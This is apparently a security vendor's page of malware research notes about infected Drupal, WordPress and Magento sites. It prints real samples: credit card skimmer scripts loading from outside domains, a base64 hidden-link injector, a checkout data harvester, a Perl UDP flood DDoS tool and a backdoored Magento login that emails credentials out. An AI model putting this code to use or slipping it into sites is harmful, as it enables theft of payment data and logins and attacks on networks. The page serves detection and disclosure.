Home Testimonials Company Support 1–888–873–0817
PRICING SUPPORT LOGIN
Home Notes Malware Signatures About

We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.

This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.

Taking a look at that Search.jpg file we can see the following code:

Read More ...

Malware uses encryption, obfuscation and other tricks to prevent its detection so that the compromised sites stay infected for as long as possible. Quite often it’s not easy to spot a malicious code even if you see it, especially if you are not a professional programmer or security analysts.

But sometimes, the malware is very straightforward. For example, we found this backdoor installer in file called robots.php in one WordPress theme. It doesn’t use any encryption, has properly indented code and very clear descriptive variable name and comments. You shouldn’t think twice when you see such a code:

Read More ...

Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.

This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.

Here is a snippet of the code that we found inside Magento's /js/lib/ccard.js

...
<!-- Google Code for Remarketing Tag -->
if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location))
{document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};
<!-- Google Code for Remarketing Tag -->

Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.

We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:

if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}

Putting the code in a readable format we get:

if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) {
	document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)
}

In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php

Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.

Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.

We at Sucuri, always stress the risks associated with using themes, plugins or any add-on downloaded from unofficial sources (Nulled Versions). During our investigation process, we found into a theme, a malicious code being used to promote an external website and possibly generate revenue to the “developer” without user’s consent. Inside the downloaded package there were lots of files named index.php and default.php throughout different folders. Those files contained the following base64 code:

 <?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+CjxhIGhyZWY9Imh0dHA6Ly9qb29tbGE0ZXZlci5ydS9ib3d0aGVtZXMvMjI4Ny1idC1waG90b2dyYXBoeS5odG1sIiB0aXRsZT0iQlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhIiB0YXJnZXQ9Il9ibGFuayI+QlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhPC9hPgo8YSBocmVmPSJodHRwOi8vYWxsLWJvb2submV0LyIgdGl0bGU9ItCa0L3QuNCz0LgiIHRhcmdldD0iX2JsYW5rIj7QmtC90LjQs9C4PC9hPgo8L2Rpdj4='; echo base64_decode($wfk); ?>

Decoding it into a human-readable format, we got these “invisible” malicious links:

<div style="position:absolute;top:0;left:-9999px;">
<a href="hxxp://joomla4ever .ru/bowthemes/2287-bt-photography.html" title="BT Photography - шаблон joomla" target="_blank">BT Photography - шаблон joomla</a>
<a href="hxxp://all-book .net/" title="Книги" target="_blank">Книги</a>
</div>

This kind of infection is commonly injected into Nulled components for different CMS’s and are designed specifically to damage the SEO positioning of a website due to the arbitrary links as well as promoting a particular website with intent to generate revenue for the “developers”.

To reduce the risks, we always recommend downloading any add-on (themes, plugins, extensions) for your site directly from the official source because you never know which extra “feature” you are getting from those “alternative” versions.

You may find more information related to this infection here, here and here.

SEO spam is very common for a reason -- money. Spammers are paid to promote websites on Google. We deal with lots of SEO spam cases daily. The most common cases are database infections, theme file infections and random spammy html pages. However, few days ago we found an interesting variation: a whole CMS specially configured and used to load spam on a website.

Read More ...

An infected site can be efficient for cyber-criminals unless it gets blacklisted. Traffic significantly drops when a URL is on the Google’s Safe Browsing list. And if the hacked site is used for sending out email spam, then the success of the spam campaign directly correlates to absence of the server in anti-spam blacklists. That’s why it is important for hackers to know whether the sites they compromised are blacklisted or not.

Here’s an example of malware that works with Google’s and Spamhaus’s blacklists.

Read More ...

We are often seeing malicious code being used to steal credit card details and sensitive information from compromised Magento sites, but this one caught our eyes as it was a bit different from the others on how the information was collected and stored.

Usually, the attacker send all the sensitive information via e-mail but in this case a text file with a "jpg" extension is created to store all the data:

if(preg_match("/".base64_decode('YWRtaW58cGF5bWVudHxvcmRlcnxzYXZlT3JkZXJ8b25lcGFnZXxjaGVja291dA==')."/i", $_SERVER["REQUEST_URI"])){ 
if(!empty($_POST))@file_put_contents(base64_decode('L2Nocm9vdC9ob21lL2RhaWx5Z3JhL2RhaWx5Z3JhYnMuY29tL2h0bWwvbWVkaWEvY2F0YWxvZy9wcm9kdWN0LzIvMS8yMV8xLmpwZw=='), base64_encode( @serialize($_POST)."--".@seralize($_COOKIE) )."\n", FILE_APPEND);
}
Read More ...

After a website is compromised, it can be misused in multiple ways. We often see it being used on Spam SEO campaigns or to distribute drive-by-downloads. However, last week, we found an interesting DDoS (Denial of Service) tool on one of our clients websites that I would like to share.

The code was added to /var/tmp and being called by an external PHP script to allow a remote attacker to start DDoS against specific targets. This is a snippet of the malicious code:

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpakets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

The malware takes an $ip, $port and $time as an argument to launch the attack:

$ARGC=@ARGV;
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
 

Once the information is supplied, the script sends as many UDP packets as possible trying to flood the victim’s network. The side effect is that the compromised server could also get overloaded by its resources (cpu/memory) consumption and also overflow bandwidth limits.

If your site is currently experiencing high usage of server resources or unexpected behavior, it could be an indication of a compromise. It’s equally important to be on the lookout for such issues.

You can always count on CloudProxy, our website firewall, to help you protecting your site against this and many other attacks.

It’s very common to see backdoors such as uploaders among site’s files. However, we have seen more often cases where file uploaders, mainly in Drupal websites, are located in the database. Many anti-malware products won’t catch those since they usually look only the files and don’t check the database content. Below is an example of a file uploader found in an entry of an Drupal database:

The code above was embedded in a malicious post created by the attacker, as you can see in the following screenshot:

The code itself is simple as it just accepts a generic file upload and pushes to the root of the site. However, if the database is not properly inspected in your Drupal website, you can be reinfected even after a deep inspection of your files.

If your site is currently infected and you need help cleaning it up, let us know.

While analyzing a compromised Magento site, we found another Credit Card (CC) stealer variation. We posted a few times about this type of malware, but this one is a bit different in a way that it also steals the login credentials for the website users. All the ones we analyzed before never had such behaviour.

The malicious code was found inside the app/code/core/Mage/Admin/Model/Session.php file and emails to XXX@XXX.com every login and password:

class Mage_Admin_Model_Session extends Mage_Core_Model_Session_Abstract
{
	...skipped code...
	protected function testReview($username, $password, $email)
	{
	    $to = 'removed@removed.dom';
	    $subject = 'Webserver';
	    $message = $username.'|'.$pssword.'|'.$email.'|'.$_SERVER['REQUEST_URI'];
	    $headers = 'From: removed@removed.dom' . "\r\n" .
	        'Reply-To: removed@removed.dom' . "\r\n" .
	        'X-Mailer: PHP/' . phpversion();
            	
	    mail($to, $subject, $message, $headers);
	}
	...skipped code...
    public function login($username, $password, $request = null) {
    ...skipped code...
	if ($user->getId()) {
				$this->testReview($username, $password, $user->getEmail());
                $this->renewSession();
               	...skipped code...
...skipped code...

This is the first time we see a malware on Magento that actually steals credentials alongside with credit card numbers. If you're using Magento as e-commerce solution, always check your core files for any modified content, and do regular scans. As always, if you need a professional service for your website, you can count on Sucuri.